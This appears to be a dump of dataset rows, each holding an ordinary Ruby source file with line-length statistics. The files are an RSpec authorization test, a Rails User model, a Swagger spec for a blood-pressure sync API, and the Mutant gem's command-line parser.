# page.should_not have_content("Mainstream")
# end
end
describe "Can't update content if it doesn't belong to Specialist" do
before do
@content = create :content, platform: "Mainstream"
end
scenario "should not have edit button" do
visit content_path(@content)
page.should_not have_content("edit")
end
scenario "should not render form" do
expect {
visit edit_content_path(@content)
}.to raise_error(Pundit::NotAuthorizedError)
end
end
end
| 27.0625 | 71 | 0.678214 |
5d685c7a5c812bbefd6673da3617378b3404f553 | 687 | class User < ApplicationRecord
has_many :editor_sessions
has_many :exercises, through: :editor_sessions
# Class method to proxy saved attributes from User model to EditorSession. Does the following:
# Adds the attribute writer editor_sessions_attributes=(attributes)
# Sets the :autosave option to true, meaning:
# Always save the associated object when saving the parent object (or destroy it if marked for destruction)
# By default, only save the associated object if it's a new record
# (If :autosave is set to false, never save or destroy the associated object)
# accepts_nested_attributes_for :editor_sessions # ,allow_destroy: true
has_secure_password
end
| 42.9375 | 109 | 0.781659 |
e843863a9a2cf635e975673e61aca06efa1cebab | 2,971 | require 'swagger_helper'
describe 'BloodPressures Current API', swagger_doc: 'current/swagger.json' do
path '/blood_pressures/sync' do
post 'Syncs blood pressure data from device to server.' do
tags 'Blood Pressure'
security [ basic: [] ]
parameter name: 'HTTP_X_USER_ID', in: :header, type: :uuid
parameter name: 'HTTP_X_FACILITY_ID', in: :header, type: :uuid
parameter name: :blood_pressures, in: :body, schema: Api::Current::Schema.blood_pressure_sync_from_user_request
response '200', 'blood pressures created' do
let(:request_user) { FactoryBot.create(:user) }
let(:request_facility) { FactoryBot.create(:facility, facility_group: request_user.facility.facility_group) }
let(:HTTP_X_USER_ID) { request_user.id }
let(:HTTP_X_FACILITY_ID) { request_facility.id }
let(:Authorization) { "Bearer #{request_user.access_token}" }
let(:blood_pressures) { { blood_pressures: (1..3).map { build_blood_pressure_payload } } }
run_test!
end
response '200', 'some, or no errors were found' do
let(:request_user) { FactoryBot.create(:user) }
let(:request_facility) { FactoryBot.create(:facility, facility_group: request_user.facility.facility_group) }
let(:HTTP_X_USER_ID) { request_user.id }
let(:HTTP_X_FACILITY_ID) { request_facility.id }
let(:Authorization) { "Bearer #{request_user.access_token}" }
schema Api::Current::Schema.sync_from_user_errors
let(:blood_pressures) { { blood_pressures: (1..3).map { build_invalid_blood_pressure_payload } } }
run_test!
end
include_examples 'returns 403 for post requests for forbidden users', :blood_pressures
end
get 'Syncs blood pressure data from server to device.' do
tags 'Blood Pressure'
security [ basic: [] ]
parameter name: 'HTTP_X_USER_ID', in: :header, type: :uuid
parameter name: 'HTTP_X_FACILITY_ID', in: :header, type: :uuid
Api::Current::Schema.sync_to_user_request.each do |param|
parameter param
end
before :each do
Timecop.travel(10.minutes.ago) do
FactoryBot.create_list(:blood_pressure, 3)
end
end
response '200', 'blood pressures received' do
let(:request_user) { FactoryBot.create(:user) }
let(:request_facility) { FactoryBot.create(:facility, facility_group: request_user.facility.facility_group) }
let(:HTTP_X_USER_ID) { request_user.id }
let(:HTTP_X_FACILITY_ID) { request_facility.id }
let(:Authorization) { "Bearer #{request_user.access_token}" }
schema Api::Current::Schema.blood_pressure_sync_to_user_response
let(:process_token) { Base64.encode64({other_facilities_processed_since: 10.minutes.ago}.to_json) }
let(:limit) { 10 }
run_test!
end
include_examples 'returns 403 for get requests for forbidden users'
end
end
end
| 41.263889 | 117 | 0.678559 |
f70580dac391fb193a73d6c85d61acb51d590156 | 5,069 | module Mutant
# Commandline parser / runner
class CLI
include Adamantium::Flat, Equalizer.new(:config), Procto.call(:config)
# Error failed when CLI argv is invalid
Error = Class.new(RuntimeError)
# Run cli with arguments
#
# @param [Array<String>] arguments
#
# @return [Boolean]
def self.run(arguments)
Runner.call(Env::Bootstrap.call(call(arguments))).success?
rescue Error => exception
$stderr.puts(exception.message)
false
end
# Initialize object
#
# @param [Array<String>]
#
# @return [undefined]
def initialize(arguments)
@config = Config::DEFAULT
parse(arguments)
end
# Config parsed from CLI
#
# @return [Config]
attr_reader :config
private
# Parse the command-line options
#
# @param [Array<String>] arguments
# Command-line options and arguments to be parsed.
#
# @fail [Error]
# An error occurred while parsing the options.
#
# @return [undefined]
def parse(arguments)
opts = OptionParser.new do |builder|
builder.banner = 'usage: mutant [options] MATCH_EXPRESSION ...'
%i[add_environment_options add_mutation_options add_filter_options add_debug_options].each do |name|
__send__(name, builder)
end
end
parse_match_expressions(opts.parse!(arguments))
rescue OptionParser::ParseError => error
raise(Error, error)
end
# Parse matchers
#
# @param [Array<String>] expressions
#
# @return [undefined]
def parse_match_expressions(expressions)
expressions.each do |expression|
add_matcher(:match_expressions, config.expression_parser.(expression))
end
end
# Add environmental options
#
# @param [Object] opts
#
# @return [undefined]
#
# rubocop:disable MethodLength
def add_environment_options(opts)
opts.separator('Environment:')
opts.on('--zombie', 'Run mutant zombified') do
with(zombie: true)
end
opts.on('-I', '--include DIRECTORY', 'Add DIRECTORY to $LOAD_PATH') do |directory|
add(:includes, directory)
end
opts.on('-r', '--require NAME', 'Require file with NAME') do |name|
add(:requires, name)
end
opts.on('-j', '--jobs NUMBER', 'Number of kill jobs. Defaults to number of processors.') do |number|
with(jobs: Integer(number))
end
end
# Use integration
#
# @param [String] name
#
# @return [undefined]
def setup_integration(name)
with(integration: Integration.setup(config.kernel, name))
rescue LoadError
raise Error, "Could not load integration #{name.inspect} (you may want to try installing the gem mutant-#{name})"
end
# Add mutation options
#
# @param [OptionParser] opts
#
# @return [undefined]
def add_mutation_options(opts)
opts.separator(nil)
opts.separator('Options:')
opts.on('--use INTEGRATION', 'Use INTEGRATION to kill mutations', &method(:setup_integration))
end
# Add filter options
#
# @param [OptionParser] opts
#
# @return [undefined]
def add_filter_options(opts)
opts.on('--ignore-subject EXPRESSION', 'Ignore subjects that match EXPRESSION as prefix') do |pattern|
add_matcher(:ignore_expressions, config.expression_parser.(pattern))
end
opts.on('--since REVISION', 'Only select subjects touched since REVISION') do |revision|
add_matcher(
:subject_filters,
Repository::SubjectFilter.new(
Repository::Diff.new(
config: config,
from: Repository::Diff::HEAD,
to: revision
)
)
)
end
end
# Add debug options
#
# @param [OptionParser] opts
#
# @return [undefined]
def add_debug_options(opts)
opts.on('--fail-fast', 'Fail fast') do
with(fail_fast: true)
end
opts.on('--version', 'Print mutants version') do
puts("mutant-#{VERSION}")
config.kernel.exit
end
opts.on_tail('-h', '--help', 'Show this message') do
puts(opts.to_s)
config.kernel.exit
end
end
# With configuration
#
# @param [Hash<Symbol, Object>] attributes
#
# @return [undefined]
def with(attributes)
@config = config.with(attributes)
end
# Add configuration
#
# @param [Symbol] attribute
# the attribute to add to
#
# @param [Object] value
# the value to add
#
# @return [undefined]
def add(attribute, value)
with(attribute => config.public_send(attribute) + [value])
end
# Add matcher configuration
#
# @param [Symbol] attribute
# the attribute to add to
#
# @param [Object] value
# the value to add
#
# @return [undefined]
def add_matcher(attribute, value)
with(matcher: config.matcher.add(attribute, value))
end
end # CLI
end # Mutant
| 25.730964 | 119 | 0.608207 |
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.